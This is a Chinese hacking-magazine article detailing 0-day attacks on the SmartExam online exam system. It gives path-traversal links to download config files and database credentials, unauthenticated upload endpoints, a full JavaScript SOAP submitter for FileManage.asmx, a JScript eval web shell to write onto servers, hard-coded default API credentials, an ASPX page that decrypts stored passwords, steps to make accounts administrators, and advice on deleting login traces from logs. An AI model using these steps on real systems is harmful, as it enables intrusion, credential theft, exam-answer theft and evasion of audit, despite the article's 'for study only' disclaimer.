![黑客防线2012合订本](https://wfqqreader-1252317822.image.myqcloud.com/cover/332/655332/b_655332.jpg)
如履薄冰的新为在线0Day漏洞分析
前置知识:ASP
关键词:新为在线 权限认证
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0009_0001.jpg?sign=1738851177-iGqaO41NBvvhvEhcxHDF96q1OcUd9nem-0-65883fc6090c80db4228ca02512b7420)
图/文 Cschi
随着网络时代的到来,我们的学习模式受到了前所未有的冲击,在线学习、培训及考试作为一种新型的学习模式已经悄然兴起,我们的学习不再受时间和空间的限制,你可以根据自己的时间合理安排学习计划,而且足不出户就可以参加统一考试。
深圳新为成立于2003年,官方网站为www.newv.com.cn,是目前中国最大的学习管理软件提供商之一(笔者按:此评价出自新为官网),时至今日,新为主要研发的产品有SmartLearning学习发展系统、SmartExam在线考试系统、SmartBOS学习运营系统等,成功案例涉及政府机构、税务系统、公安系统、能源交通、高等院校及电信、金融、医疗、IT等众多行业。
SmartExam在线考试系统(以下简称SmartExam)是国内市场占有率最高的通用化网络考试软件,主要有2005、2008、2009、2010几种版本,如图1~3所示,本文重点分析SmartExam最新0Day漏洞,最后延伸到SmartLearning、SmartBOS等系统,Google搜索关键字“nwc_755_newvexam”,结果如图4所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0038_0067.jpg?sign=1738851177-lxjJZYFML2Gy12w4olmeOuuFcGsnASdT-0-bdbc818a18d9edaf3a67096d70040394)
图1
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0038_0068.jpg?sign=1738851177-JEOigExowxHEOs2t9YaMpk1lhcjPBH0w-0-2a17201d045892cf46bbeaf402d53b5b)
图2
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0038_0069.jpg?sign=1738851177-0yy1SEd7aEfKoV3vmyimL3dgn9xe3o7c-0-b666b4b25ec454f9a019040a35e13580)
图3
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0038_0070.jpg?sign=1738851177-1Iq2AbCPUie427C1hARMpjz5muYfRMGI-0-9fa8df76bd0cad6b9440533f17360c65)
图4
系统安全
因为SmartExam是基于微软.NET平台开发的商业软件,而不是免费的开源软件,所以本文所涉及的内容仅供技术探讨和系统修补,请勿用于破解攻击等非法用途。也因此,虽然笔者在互联网中仔细地百度、Google和Goobye(搜索ftp资源),都没有下载到最新的2010版本,只得到SmartExam 2008,尽管是一款数年前的版本,但是通过分析,我们也大致可以窥一斑知全豹,进而获得通往曙光的钥匙。
要想系统分析SmartExam,就必须使用Reflector软件和Reflector.FileDisassemb ler插件进行反编译,目前Reflector软件已经开始收费,以前免费版本运行时会提示已过期,并且直接删除可执行文件。破解的方法是修改系统时间为2004年的某个时间,但是退出时还是会删除可执行文件,所以需要备份压缩包。通过源码,我们可以分析出SmartExam软件注册流程,如图5所示,进一步分析GetProductInfo()函数可以解密新为注册文件的数据格式及加密方式等,本文不做详细讨论。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0038_0071.jpg?sign=1738851177-On1PnsgAzfkNo2jKHHjc0YoU4ikGSSN4-0-649d5ee709408f318de806d5f7d5835c)
图5
SmartExam采用了多种技术架构,整体的安全性能比较高,能较好地防止注入等漏洞,功能更加强大,性能更加稳定,同时具备更好的扩展性,其优点的确很多。但是也可能是新为十分在意软件的功能和性能,对产品安全性有些疏忽,导致其安全性脆如纸张,一捅即破,影响到从SmartExam到SmartLearning、SmartBOS等几乎所有新为产品。
1.用户权限验证方式
如果没有登录用户,新为不允许对aspx页面随意访问,当用户访问除IgnoredUrl以外的其他页面时,会将用户的访问重定向为登录页面LoginUrl,默认为“/customize/ nwc_755_newvexam/login/login.aspx”。查看网站根目录中的“newv.sso.dll.config”文件内容,如图6所示,其中“IgnoredUrl”值所设置的页面是可以忽略的页面,这些页面即使没有登录用户也可以直接访问。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0039_0072.jpg?sign=1738851177-bhdMEeIG6Kbwgeox1FOn4F3UHze6ZGzZ-0-586dbf260af3eb8ffd9bad5523c37142)
图6
任意下载漏洞:DownloadFileContent.aspx。反编译的DownloadFileContent.cs源码如图7所示,首先获取外部变量fileName,然后调用DownLoadFile函数下载文件,其中WebServerFileRootPath默认为“/fileroot”目录,可以使用“..”跳转,于是下载License.ncer文件(产品授权文件)的链接为“/module/DownloadFileContent.aspx?file Name=../fileroot/License.ncer”,如图8所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0039_0073.jpg?sign=1738851177-fiMy1ZwFOkFC39YhA0PQFXVBJIQuPcgL-0-9119671362309e546a4d2d356b6b2de4)
图7
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0039_0074.jpg?sign=1738851177-eVrv6JvV6VeJtLlsbVHAVGkTcSmEvqqY-0-0a391489b8c9b3e11481152088d4d12a)
图8
还可以下载Log目录中的日志文件及bin目录的dll文件,甚至可以下载到newv.data.dll.config等,下载链接为“/module/DownloadFileContent.aspx?file Name=../newv.data.dll.config”,如图9所示,从newv.data.dll.config文件中获得MSSQL连接参数,如图10所示,像这样设置,我们可以直接访问到MSSQL数据库服务器,获得网站数据,如图11所示,其中密文“FE24W1UJNg1QedCl+4dKFw==”的明文为“123456”。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0039_0075.jpg?sign=1738851177-il9OQMOy7EN2Hs38CTyTPd3ivLT4Sewu-0-148206d6c6ff44b06b568ef274338282)
图9
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0039_0076.jpg?sign=1738851177-dUpEFjUnRQZjQT1FFfbMaNuLwei5HbSq-0-12f1112d8fafff8bcdcdf381502f1027)
图10
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0039_0077.jpg?sign=1738851177-bdk56OYsBJVNd8TPiE8SipAd58SYqyte-0-3414a8c9172ce7617f9f17f046b5f20c)
图11
甚至还可以使用本地MSSQL企业管理器注册新的“SQL Server组”,如图12所示,在“安全性|登录下”获得该MSSQL服务器中所有登录名和数据库,必要时可以进行暴力破解。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0040_0078.jpg?sign=1738851177-V1duEJsdtfcgMUevR3UJEoFuGF4UsItz-0-c59e1d084f75dad2b810b06511d09724)
图12
当然下载config文件成功率不会很高,因为这还与服务器设置有关。此外还有ExerciseByQuestion.aspx、ExamineByQues tion.aspx等页面不需要登录就可以直接访问,本文不做深入分析。
2.后台页面上传漏洞
仍然是权限验证的问题,因为新为的后台页面对管理员验证不足(几乎没有验证),导致只要登录普通用户,就可以任意访问后台页面,比如“ /module/ResFileManager.aspx ” ,“/framework/HtmlEditor/HtmlEditRes/Fil eUpload.aspx”,“/fileservice/FileUpload. aspx”,“/fileservice/SingleFileUpload. aspx”,“/user/framework/UserResFileMana ger.aspx(2010版本的文件)”等,SmartExam所有版本均受此漏洞影响。
浏览目录。使用链接“/module/SelectFile OnFileServer.aspx?TargetRootPath=/../”和“/module/ResFileManager.aspx?Target RootPath=/../”等,可以跨目录浏览,如图13和图14所示,如果修改TargetRootPath变量为绝对路径,如“d:/、c:/”等,还可以浏览其他分区或目录。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0040_0079.jpg?sign=1738851177-3JEZNl55XrCiaC1KKYeRXW6BSfDocOnu-0-b4eb9783924169d8d8de479e5b551bb8)
图13
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0040_0080.jpg?sign=1738851177-3mziDUGw8mbIAIoJUJ0qEIdc5MB0FBvy-0-1e4f1ff83952551111dc365af113c30f)
图14
ResFileManager.aspx上传文件。利用链接“/module/ResFileManager.aspx?TargetRoo tPath=/../”,不但可以跨目录浏览,还可以直接上传aspx木马文件,如图15和图16所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0040_0081.jpg?sign=1738851177-Our6D4K5sbKvWKsn3j9IrUIn7VMjARyw-0-0e3f5a8cf170d434788407f371d3b69e)
图15
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0041_0082.jpg?sign=1738851177-JDoAhT2e46zBKsOoA3hQK1z2v5PfI1EE-0-a17ae75dce087d713454255881e3d90f)
图16
注意:① 使用“TargetRootPath=/../”跳转目录到网站根目录,因为默认上传目录fileroot不能解析aspx,还可以使用“创建”目录名类似“/../temp”的目录,达到跨目录上传文件的目的,演示略。② 使用“IgnoredUrl”值所设置的文件名格式,如“*password.aspx”等,否则必须登录SmartExam才可以访问上传的aspx文件。③ 上传页面其实是“/fileservice/SingleFileUpload. aspx”页面,如图17所示。④可以对目录或文件进行“删除”、“更名”等操作,这样即使管理员在后台设置“禁止上传的文件扩展名”包含了“aspx”(详见后文),我们依然可以上传jpg等文件,然后“更改”扩展名为aspx,还可以利用“上传自解压文件”上传aspx文件。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0041_0083.jpg?sign=1738851177-ByK5UTVmnuuFVUJem5gGKdJZCmmk9L42-0-33dad6b8041b349adb36f3a9318c7b0a)
图17
HtmlEditor.aspx高级编辑器上传文件。访问链接“/framework/HtmlEditor/HtmlEditor. aspx?FileRootPath=/../”,打开“高级编辑器”页面,利用“插入附件”上传aspx文件,如图18所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0041_0084.jpg?sign=1738851177-ab4fxwjOACxepbHf03FXLBdGz0kFF5Zo-0-30963d88007715b85a67502eb1496c61)
图18
注意:① 使用“FileRootPath=/../”,文件将被上传到网站根目录。② 使用“HTML”从源码中获得上传后的文件名。③ “插入附件”实际调用的是“/framework/HtmlEditor/HtmlEditRes/ftb .insertattachment.aspx”页面文件。
FileUpload.aspx上传文件。直接访问“/fileservice/FileUpload.aspx”,页面出错,如图19所示,这是因为没有提交file对象实例,只要我们外部提交file对象即可。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0041_0085.jpg?sign=1738851177-5XV4pKRVYB6om0RSvE0IIgJ0h7trNON7-0-d591485b3e017a3b03a9b2d5af73305c)
图19
分析反编译文件fileservice_FileUpload. cs源码,如图20所示,可以一次上传多个文件,还可以使用FilePath变量跳转目录,而且没有限制上传文件的类型。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0041_0086.jpg?sign=1738851177-oW9phJ6Em6twoI7Vkg48PZHWFQ9L7pkW-0-590808a8111af7925067fe614f24f026)
图20
提交页面如图21所示,源码如图22所示,上传后的文件名使用“*Password.aspx”格式,保证不登录SmartExam用户可以直接访问,上传成功后页面返回“Succeed”,如图23所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0041_0087.jpg?sign=1738851177-hGKEafUFEoioJmXeF3karBsgegBbTrFC-0-b02ab837b8620d168071bd590a78d273)
图21
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0041_0088.jpg?sign=1738851177-B8fC2887vIrotYFI3JXWF3rimFovzw3C-0-cd0a33cb5054dc8ffaa692f7558655aa)
图22
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0042_0089.jpg?sign=1738851177-uVyohmC0qPpxRhkXkduN57W4eTGAsb4N-0-9ddc29b169667832e8b970ecf44a7251)
图23
由于SmartExam 2010版本允许直接访问FileUpload.aspx页面,所以在不登录的情况下,就能秒杀SmartExam!
asmx文件漏洞
可能大家认为上节涉及的漏洞危害不大,毕竟访问后台页面必须得先登录用户,而这样对系统的危害也仅限于“内部人员”,因为SmartExam默认不允许注册新用户,但是在本节中笔者将爆出asmx漏洞,足以颠覆新为的安全防线。
asmx是WEB服务文件,属于B/S形式,用SOAP方式访问,用XML方式返回数据。SmartExam允许直接访问“*.asmx*”,并且存在多个asmx文件,SmartExam 2010包含的asmx文件如图24所示,而SmartExam 2008版本仅包含其中FileManage.asmx、UserInterface.asmx、ExamInterface.asmx等文件。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0042_0090.jpg?sign=1738851177-wj4HpxxhBvClBCI1cc3Q7gDgBXBwgy4X-0-ff7c0548884a659151832b0e915a8789)
图24
FileManage.asmx漏洞。顾名思义,该文件主要用于文件的上传、更名、删除等操作,直接访问结果如图25所示,选择相应的操作(operations)函数,如“GetLogicalDrives”,获得SOAP 1.1或1.2方式的调用和返回数据格式,如图26所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0042_0091.jpg?sign=1738851177-7RkytMUvcqktK6p5HsS3mAFQWAztYE5z-0-28f7488fc681db7798e654398a4d04f8)
图25
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0042_0092.jpg?sign=1738851177-BZaESEw8g5OtCqijy9MHjyk4jy2NzkJ2-0-7c205840eea752c3c7d8f14e802d28f3)
图26
SOAP采用了广泛使用的两个协议:HTTP和XML,可以简单理解为以HTTP方式提交XML格式数据。SOAP 1.1的数据格式如下(其中黑体部分是操作函数的调用参数或返回数据,GetLogicalDrives为获得本地磁盘分区函数,没有参数)。
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetLogicalDrives xmlns="http://tempuri.org/"/>
</soap:Body>
</soap:Envelope>
我们获得XML格式的数据后,剩下的问题就是将这些数据以HTTP方式提交,就可以实现以SOAP方式访问Web服务的asmx文件了,最简单的方法是使用XMLHttpRequest对象,页面源码如下。
<head> <META http-equiv=Content-Type content="text/html; charset=GB2312"> </head> <script language="javascript"> var XMLHttpReq = false; //创建XMLHttpRequest对象 function createXMLHttpRequest() { if(window.XMLHttpRequest){//Mozilla 浏 览器 XMLHttpReq = new XMLHttpRequest(); } else if (window.ActiveXObject) { // IE浏览 器 try { XMLHttpReq = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { XMLHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } } //发送请求函数 function sendRequest() { createXMLHttpRequest(); var xml = createXML(); url = document.getElementById("url").value; XMLHttpReq.open("POST", url+"/fileservice/FileManage.asmx", true); XMLHttpReq.onreadystatechange = processResponse;//指定响应函数 XMLHttpReq.setRequestHeader("Content-Type", "text/xml"); XMLHttpReq.send(xml);// 发送请求 } // 处理返回信息函数 function processResponse() { if(XMLHttpReq.readyState==4){// 判断对 象状态 if(XMLHttpReq.status==200){// 信息已 经成功返回,开始处理信息 var res=XMLHttpReq.responseText; document.getElementById("XMLResult").innerHTML=res; } else { //页面不正常 window.alert("您所请求的页 面有异常。"); } } } //创建XML格式数据 function createXML() { var xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>"; xml = xml + "<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">"; xml=xml+" <soap:Body>"; //GetLogicalDrives函数获取磁盘分区 //xml=xml+" <GetLogicalDrives xmlns=\"http://tempuri.org/\" />"; //GetFileListFromSpecificPath函数获取文件,“\\”网站 绝对路径 xml=xml+" <GetFileListFromSpecificPath xmlns=\"http://tempuri.org/\">"; xml = xml + " <sPath>\\..\\</sPath>"; xml = xml + " </GetFileListFromSpecificPath>"; //GetDirectories函数获取目录 /* xml = xml + "<GetDirectories xmlns=\"http://tempuri.org/\">"; xml = xml + "<sPath>C:\\</sPath>"; xml = xml + "</GetDirectories>"; */ //WriteTextFile函数写文件 /* xml = xml + "<WriteTextFile xmlns=\"http://tempuri.org/\">"; xml = xml + "<filePath>D:\\tmp-8000\\smartexam2008\\web\\111.aspx</file Path>"; xml = xml + "<fileContent>stringhhhhcvvcvc</fileContent>"; xml = xml + "</WriteTextFile>"; */ xml=xml+" </soap:Body>"; xml = xml + "</soap:Envelope>"; return xml; } </script> <body vLink="#006666" link="#003366" bgColor="#E0F0F8"> <form action="" method="post" name="myform"> ulr: <input type="text"size="50"name="url" value="http:// "><br> <input type="button" value="提交" onclick="sendRequest()" > </form> <Div id="XMLResult"> </Div>
关键代码是createXML()函数,生成符合SOAP 1.1要求的格式数据。该函数调用FileManage.asmx中的操作函数GetFileListFromSpecificPath,获取参数sPath所指定目录中的文件列表,“\\..\\”指定网站根目录,这样我们可以获取到绝对路径。该函数还给出GetLogicalDrives(获取磁盘分区)、GetDirectories(获取目录)、WriteTextFile(写文本文件)等调用示例,请根据实际情况设置其中的参数。最后复制这段源码并另存为FileManage.asmx.html文件,输入URL获得网站的绝对路径,如图27所示,虽然显示的结果不很美观,但是我们的目的已经达到!
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0043_0093.jpg?sign=1738851177-s8E7guiJE5xIKh1Wwy6Ym5JQghMl3K9g-0-e49f06dc288beb2311d917b067e74ec5)
图27
操作函数WriteTextFile写文本文件。设置参数filePath为绝对路径“d:\\newway\\smart exam2011\\web\\111password.aspx”,或者相对路径 “\\..\\111password.aspx”,文件名使用“*password.aspx”格式;设置参数fileContent为aspx的句子,如“<%@ Page Language="Jscript" validateRequest=“false" %><%Response.Write(eval(Request. Item["w"],"unsafe"));%>”,特殊字符需要转义,如“<”、“>”必须用ASCII码值“<”、“>”代替,提交的一句话成为“<%@ Page Language=\"Jscript\" validateRequest=\"false\" %><%Response.Write (eval(Request.Item[\"w\"],\"unsafe\"));%>”,如图28所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0044_0094.jpg?sign=1738851177-lIXKZlTOYGt6cZx5p3PtWPV9dpkLBvKg-0-7bd01614f4b208dd359c9ce6e785a46b)
图28
如果提交页面返回“false”,表示没有错误,写文件成功,使用客户端连接如图29所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0044_0095.jpg?sign=1738851177-TywGWUmOY6XOtQYLXXUdUapxqScOKHRb-0-39079795daa5746f3b2140b6865dde3d)
图29
FileManage.asmx支持的操作函数非常丰富,如CopyFile(复制文件)、DeleteDirectory(删除目录)、DeleteFile(删除文件)、OpenTextFile(读文本文件)、RenameDirectory(重命名目录)、RenameFile(重命名文件)、UnzipFile(解压缩文件)、UploadFile(上传文件,参数buffer值必须是base64Binary类型数据)、SearchFileFromSpecificPath(搜索文件)等。详细利用,有兴趣的读者可以自己尝试,本文略。
UserInterface.asmx漏洞。用户接口文件framework/api/UserInterface.asmx提供了与用户有关的操作函数,如AddDept(添加部门)、DeleteUserByLoginName(根据登录名删除用户)、Encrypto(获得字符串的Encryp编码,如密码)、GetUserInfoByLoginName(根据登录名获得用户信息)、InsertUserInfo(插入用户信息)、Login(登录用户)、UpdateUserInfo(修改用户信息)等,如图30所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0044_0096.jpg?sign=1738851177-bpm4ur0v1W8nDdVzIq7eTXl269j2t7QO-0-f417286460dc86a70dcb1f3c832346e0)
图30
在这个用户接口文件中的操作函数几乎都包含两个参数callUserName和callUserPassword,必须通过这两个参数的验证,才能成功调用接口文件中的操作函数,如图31所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0044_0097.jpg?sign=1738851177-nD82poMZSvzTnErxabL4HWOSEOT7WVma-0-ed1d68963930f3d2121385931d01f9fd)
图31
在反编译文件NvAppSetting.cs源码中找到参数callUserName和callUserPassword的默认值,分别为“system”、“system123456”,如图32所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0045_0098.jpg?sign=1738851177-ShLmg0DnRILqJLYfTvhfInVUM8CVN1ee-0-4bd07b0a470b5997aac9a641f1d105af)
图32
提交页面UserInterface.asmx.html与FileManage.asmx.html相似,只有lUserPas sword不同,分别为“system”、“system123456”,然后调用操作函数GetUserInfoByLoginName,获取管理员“admin”的用户信息;createXML()函数中调用的操作函数略有不同,如图33所示,即修改前文的提交页面源码:首先设置参数callUserName和cal,然后修改“XMLHttpReq.open("POST", url+"/fileservice/FileManage.asmx", true);”为“XMLHttpReq.open("POST", url+"/framework/api/UserInterface.asmx", true);”,最后另存为UserInterface.asmx. html文件。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0045_0099.jpg?sign=1738851177-GEP1wB2fzp0HOiriugADoz9Y57OZWCBm-0-33f11208b9a87bb9d78eb7dd5eb8e2d5)
图33
成功获取到管理员admin的用户信息,如图34所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0045_0100.jpg?sign=1738851177-5mrr5dvJbnLVAGLVKFCfmfb2CxikPQ7U-0-7bd7d3144d5a2ff3f1591a1406d93b59)
图34
破解密码 。SmartExam使用SymmetricCryptoMethod.Encrypto()函数加密密码,该函数定义在newv.common.dll文件的SymmetricCryptoMethod类中,反编译源码如图35所示,这个类中不但定义了Encrypto()函数,还定义了Decrypto()函数,因此我们就可以利用Decrypto()函数破解密码。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0045_0101.jpg?sign=1738851177-Veqd6BEr1LLhbfCJ8vnqMbLbtwonEl7E-0-72342a4e8c5a2fd8f08648774e4861a5)
图35
复制如下代码,保存为Decrypto.aspx文件,上传到SmartExam系统的customize目录中(不允许登录访问“customize/*”,即customize目录中的任意文件),这样便获得一个简易的SmartExam密码破解工具,在地址栏提交需要破解的密文,就可以成功破解到明文了,如图36所示。
<%@ Page Language="C#" Debug="true" %> <%@ Import Namespace="newv.common" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Web" %> <%@ Import Namespace="System.Web.UI" %> <%@ Import Namespace="System.Web.UI.HtmlControls" %> <head> <title>SmartExam密码破解</title> </head> <% string str=Request["str"]; Response.Write("破解结 果:"+SymmetricCryptoMethod.Decrypto(str)); %>
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0045_0102.jpg?sign=1738851177-1X5ZSwmCUhU7OxtcW79pBB7WA3DegB1w-0-28f7abf3ee10fc62f52fb826c9038049)
图36
一旦获得管理员密码,我们就可以“正大光明”、“堂而皇之”地登录系统,并且获得后台管理权限,如图37所示,注意,SmartExam会详细记录用户登录和各种操作日志,包括删除日志的操作,要想完全删除登录痕迹,必须通过第三方工具连接MSSQL数据库执行delete语句。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0046_0103.jpg?sign=1738851177-olKeYBcgthizOOsag9TJNzCuNi65FYiw-0-aee8559d57f5c91d6fb3c6c191f9a4ba)
图37
ExamInterface.asmx提供了与考试相关的接口函数,比如DeleteByExamUid、DeleteByExerciseUid、GetUserExamView等,如图38所示,调用方式与UserInterface.asmx类似,需要指定参数callUserName和callUserPassword。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0046_0104.jpg?sign=1738851177-Ghh3XJuMPNKGgdIsjZ8nOsTKtyHLU6sY-0-5b62d2dd0acca7c70c1ffcae561e4622)
图38
SmartExam 2010版本还新增了DistInterface.asmx、SmartClient.asmx等接口文件,如图39和图40所示,至于如何应用,本文不做讨论。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0046_0105.jpg?sign=1738851177-3tprfX73KhJQ2lru5tL0A4Y9pYJANgtA-0-8a8f9d1a9af4625d236effc955eceeff)
图39
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0046_0106.jpg?sign=1738851177-PiiYEjN2bcWoUR72UJymxlluxbiATfVf-0-8dcf9638f47227b571358325329d07b5)
图40
数据安全
树欲静而风不止。对于安全隐患人们防之又防,可是各种密码泄露、用户信息被盗事件仍时有发生,令人想而生畏。在线考试系统不会承载太多的用户信息,我们关注的是系统中的考试信息,比如试题、答案、试卷、成绩等,一旦系统存在安全隐患,这些信息将显得那么脆弱和苍白。由于SmartExam在验证管理员后台权限方面存在问题,只要用户登录系统,就可以任意访问后台页面文件,因此普通用户也可以完成管理员的操作,比如修改系统设置,管理题库、试卷、用户,新增(导入)管理员等。SmartExam对于普通用户可以说是“完全开放”的,只要给出链接,谁都可以进行管理员的操作。
下面是一些常用的链接。
操作日志:/framework/system/Operate LogList.aspx,如图41所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0046_0107.jpg?sign=1738851177-KkxtoBDPwwVX4j6UJJkVG3Vd9lFBv9Rc-0-2f59084500317bc6f437026e011bd757)
图41
系统设置:/framework/system/SysManage SettingMain.aspx,如图42所示。利用这个页面可以设置禁止上传的文件类型,默认为“exe;bat;cmd;scr;com”,还可以修改“调用Web服务的用户名和密码”,即参数callUserName和callUserPassword,默认为“system和system123456”。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0047_0108.jpg?sign=1738851177-5o99dLQH443IM8vuxtYtMA4sKB1Mi2nU-0-0f1e1042651da50502f919988e034849)
图42
题库管理:
/module/OneTabMain.aspx?MenuCode=ex am_question_manage&MenuLink=exam/quest ion/QuestionManage.aspx,如图43所示。利用这个页面可以“导出”全部试题及标准答案,可以是excel格式或doc格式。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0047_0109.jpg?sign=1738851177-vQRm9c7d6j9RHLhSICc3gr4YF8SRmf87-0-d99bc110f72535403b5327a9d6849b44)
图43
试卷管理:
/module/OneTabMain.aspx?MenuCode=ex am_paper_and_policy_manage&MenuLink=ex am/paper/PaperAndPolicyManage.aspx,如图44所示,可以浏览生成的“固定”和“随机”试卷。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0047_0110.jpg?sign=1738851177-VQdRfvNsFHJb2sAVKmqLdNLuMTHUVFxb-0-e6053bd6fe0dbcc11312f7076bd28234)
图44
考试成绩查询:
/module/OneTabMain.aspx?MenuCode=ex am_exam_grade_search&MenuLink=exam/exa m/ExamGradeSearch.aspx,如图45所示。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0047_0111.jpg?sign=1738851177-21LYssojLTwgrbNsWJiBSK4yqZLgYl9A-0-db5bd97d0eb49c6c0b4a296d2c60bb20)
图45
考生成绩查询:
/module/OneTabMain.aspx?MenuCode=ex am_user_grade_search&MenuLink=exam/exa m/ExamGradeAccountByExamTime.aspx。
考生答卷查看:
/exam/exam/UserPaperPreview.aspx?ex amGradeUid=528649f6-d06a-40ef-8814-521 284f9895d,如图46所示,只要知道examGradeUid就可以查看答卷,包括答案,然后使用链接“/exam/exam/JudgePaper.aspx?exam GradeUid=”或“/exam/exam/JudgePaperBy Question.aspx?examGradeUid=”进行手工或批量手工评卷。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0047_0112.jpg?sign=1738851177-kREvi6eTO76knkiT6p3IBt42moiEIbLp-0-15724d2fc8949728cca5112372b9a94c)
图46
用户管理:
/module/OneTabMain.aspx?MenuCode=fr amework_user_manage&MenuLink=framework/user/UserManage.aspx,如图47所示。利用这个页面可以激活“待审批、禁用、锁定”等类型用户,甚至可以通过外部提交“chkIsAdmin=Y”,修改用户为管理员。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0048_0113.jpg?sign=1738851177-E5WOAYjWVE5BOWcuY7L8LvaINGzSiT1F-0-b6d1f878899bf6b90f55499456f8bcf2)
图47
导入用户:
/module/OneTabMain.aspx?MenuCode=fr amework_user_manage&MenuLink=framework/user/UserImportHZMobile.aspx,如图48所示。利用这个页面可以新增用户,包括管理员,具体操作:① 执行“示例->下载模板”命令,② 编辑excel文档,添加姓名、登录名、密码(密码可以为空)等用户信息,选择“是否为管理员”为“Y”,其他项为空,③ “浏览”并“载入”excel文档,④ 当“格式检查”无误,如“格式检查完成,没有发现错误格式”时,即可进行“导入”,成功返回“操作完成,成功导入用户[1]人,导入失败[0]人。”注意:以这种方法增加的用户,虽然可以正常登录系统和后台管理,但是因为没有指定用户所属“组织名称”,所以不被管理员管理,也不能管理其他用户,比如“用户管理”、“在线用户”查询不到。
![](https://epubservercos.yuewen.com/A3B709/3590306204830901/epubprivate/OEBPS/Images/figure_0048_0114.jpg?sign=1738851177-ANftj01zKi48WzP6PlxjhFY4MYZgq86s-0-284d48c504322fea92692e9e47146c14)
图48
在线用户:
/module/OneTabMain.aspx?MenuCode=fr amework_online_user_list&MenuLink=fram ework/user/OnlineUserList.aspx。
工具编写
考虑开源共享,笔者放弃Delphi,采用CSS+DIV+JS语言进行工具编写。工具名称:SmartExam 0Day漏洞利用工具,设计界面如图49所示,功能包括:FileUpload.aspx上传漏洞、FileManage.asmx漏洞、UserInterface.asmx漏洞、后台管理常用链接、Decrypto解密源码等。
